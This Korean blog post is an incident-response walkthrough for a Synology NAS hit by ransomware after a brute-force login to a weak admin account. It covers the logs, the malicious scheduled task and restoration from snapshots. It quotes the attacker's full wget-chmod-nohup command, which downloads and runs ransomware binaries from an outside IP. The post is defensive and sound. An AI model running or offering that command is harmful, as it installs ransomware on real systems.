You are currently viewing 랜섬웨어에 감염된 공유 폴더를 스냅샷으로 복원하기

랜섬웨어에 감염된 공유 폴더를 스냅샷으로 복원하기

랜섬웨어에 감염되었습니다.

나스에 들어있는 파일이 encrypt 파일로 변경되었습니다. 폴더마다 README_FOR_DECRYPT.txtt 파일이 생겼습니다.

아이디와 비밀번호를 무작위로 대입하는 공격에 걸려들었습니다. 아이디는 CEO, 비밀번호는 123456을 사용하는 관리자 계정(administrators 그룹에 속하는 계정)이 있는데요. 이 계정으로 랜섬웨어가 침투했습니다.

작업 스케줄러에는 랜섬웨어를 다운로드 및 실행하는 명령어가 등록되어 있고, 실행중인 프로세스 목록에는 이름이 386인 프로세스가 보입니다.

감염된 파일

감염된 파일은 확장자 끝에 encrypt가 추가됩니다.

수준로그시간사용자이벤트
Information연결2022/07/27 12:59:04XXXXUser [XXXX] from [192.168.0.19] logged in successfully via [SSH].
Information연결2022/07/27 12:52:20XXXXUser [XXXX] from [192.168.0.19] logged in successfully via [DSM].
~ 중략 ~
Warning연결2022/07/27 09:01:38SYSTEMUser [] from [125.178.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:01:33SYSTEMUser [] from [125.178.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:57SYSTEMUser [] from [36.238.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:56SYSTEMUser [] from [83.82.X.X] failed to log in via [DSM] due to authorization failure.
Information연결2022/07/27 09:00:53CEOUser [CEO] from [83.97.X.X] logged in successfully via [DSM].
Warning연결2022/07/27 09:00:53SYSTEMUser [] from [36.238.X.X] failed to log in via [DSM] due to authorization failure.
Information연결2022/07/27 09:00:52CEOUser [CEO] from [83.97.X.X] logged in successfully via [DSM].
~ 중략 ~
Warning연결2022/07/27 09:00:50SYSTEMUser [] from [83.82.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:26SYSTEMUser [] from [171.221.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:21SYSTEMUser [] from [171.221.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:17SYSTEMUser [] from [183.249.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 09:00:12SYSTEMUser [] from [183.249.X.X] failed to log in via [DSM] due to authorization failure.
Warning연결2022/07/27 08:59:25SYSTEMUser [] from [188.155.X.X] failed to log in via [DSM] due to authorization failure.

로그인을 시도한 흔적이 로그 센터에 기록되어 있습니다. DSM 자동 차단(일정 횟수 이상 비밀번호를 틀리면 접속을 자동으로 차단하는 기능)을 피하기 위해서 로그인 시도는 두 번씩 밖에 하지 않습니다. 수많은 시도 끝에 오전 9시 0분 52초와 오전 9시 0분 53초에 CEO 계정으로 로그인에 성공했습니다. DSM 포트를 5000번에서 다른 포트로 변경하면 아이디와 비밀번호를 무작위로 대입하는 공격을 줄일 수 있습니다.

수준로그시간사용자이벤트
Information시스템2022/07/27 12:58:00XXXXSystem successfully started [SSH service].
Information시스템2022/07/27 12:57:47XXXXScheduled Task [Scandisk] was removed.
Information시스템2022/07/27 12:57:22XXXXScheduled Task [Scandisk] was removed.
Information시스템2022/07/27 10:28:14SYSTEM[LAN 1] link down.
Information시스템2022/07/27 09:00:58CEOScheduled Task [Scandisk] was created.
Information시스템2022/07/27 09:00:55CEOScheduled Task [Scandisk] was created.
~ 중략 ~
Information시스템2022/07/27 04:23:51SYSTEMSystem successfully registered [X.X.X.X] to [XXXX.synology.me] in DDNS server [Synology].
Information시스템2022/07/26 09:53:07XXXXRecycle bin of shared folder [XXXX] was enabled.
Information시스템2022/07/26 09:53:06XXXXNormal shared folder [XXXX] was created.

로그인 후에는 몇 초 만에 Scandisk라는 이름의 작업을 생성했습니다.

Scandisk라는 이름의 작업

Scandisk 작업은 랜섬웨어를 다운로드 및 실행하는 스크립트입니다. wget 명령어로 랜섬웨어 실행파일을 /tmp 디렉토리에 저장합니다. nohup 명령어를 사용하여 랜섬웨어 실행파일이 실행 중 중단되는 것을 방지합니다.

랜섬웨어 실행파일은 두 종류입니다. /tmp/386 파일(Intel CPU용)과 /tmp/arm 파일(ARM CPU용)인데요. 스크립트는 두 파일을 모두 실행합니다. 그러면 나스의 CPU에 맞는 실행파일이 실행되게 됩니다.

wget --no-check-certificate -O /tmp/arm http://82.64.X.X/1/arm;chmod 0777 /tmp/arm;nohup /tmp/arm --syno=true </dev/null >/dev/null 2>&1 & wget --no-check-certificate -O /tmp/386 http://82.64.X.X/1/386;chmod 0777 /tmp/386;nohup /tmp/386 --syno=true </dev/null >/dev/null 2>&1 &
root@NAS:/var/log# ls -al /tmp
~생략~
-rwxrwxrwx 1 root root 4751360 Jul 25 20:12 386
-rwxrwxrwx 1 root root 4849664 Jul 25 20:13 arm
~생략~
프로세스 목록

이 나스는 DS218+인데요. 인텔 CPU가 장착된 모델이므로 386 파일이 실행되고 있습니다.

소요시간 : 2시간    어려움 : ★★★★★

감염되기 이전 파일로 복원합니다.

다행히 Snapshot Replication 패키지에서 생성한 스냅샷은 그대로 보존되어 있습니다. 랜섬웨어 실행을 중단시키고 감염되기 전에 촬영한 스냅샷으로 공유 폴더를 복원합니다. 스냅샷은 랜섬웨어 감염을 차단해서 감염을 방지하는게 아닙니다. 랜섬웨어 감염처럼 파일에 손상이 생겼을 때 손상되기 이전의 파일로 되돌리는 기능입니다.

  1. 랜섬웨어 침투에 사용된 계정의 비밀번호를 변경합니다.
  2. 랜섬웨어를 실행시키는 작업을 삭제합니다.
  3. 랜섬웨어 프로세스를 종료합니다.
  4. 스냅샷을 복원합니다.
  5. DSM을 재설치 합니다.
작업 삭제하기

사용자 정의 스크립트 Scandisk를 삭제합니다.

/tmp/386 프로세스 종료하기

kill 명령어로 /tmp/386 프로세스를 종료합니다.

감염 된 모습과 감염 되기 전으로 복원한 모습

공유 폴더를 감염되기 전에 촬영해 놓은 스냅샷으로 복원합니다.

Snapshot Replication 패키지 > 복구 > 복원할 공유 폴더 선택 > 복원 > 복원할 날짜 선택 > 작업 > 이 스냅샷으로 복원

패키지가 설치된 디렉토리도 감염 됨

나스를 사용하는 컴퓨터가 랜섬웨어에 감염된 경우에는 공유 폴더만 랜섬웨어의 영향을 받지만, 나스 자체가 랜섬웨어에 감염되면 공유 폴더 뿐만 아니라 볼륨 전체가 랜섬웨어의 영향을 받게 됩니다.

find / -name ‘*.txtt’ -type f 명령어와 find / -name ‘*.encrypt’ -type f 명령어를 사용해서 랜섬웨어에 감염된 파일이 있는지 확인합니다.

하이퍼 백업의 아이콘이 보이지 않는데요. 아이콘으로 사용하는 png 파일이 감염되었기 때문입니다. 손상된 파일을 파악한 후 패키지만 재설치 할지 아니면 DSM을 재설치할지 결정합니다. 랜섬웨어가 백도어 설치 같은 어떤 작업을 했을지 모르므로 DSM을 재설치하는게 마음은 편할 것 같습니다.

참고

답글 남기기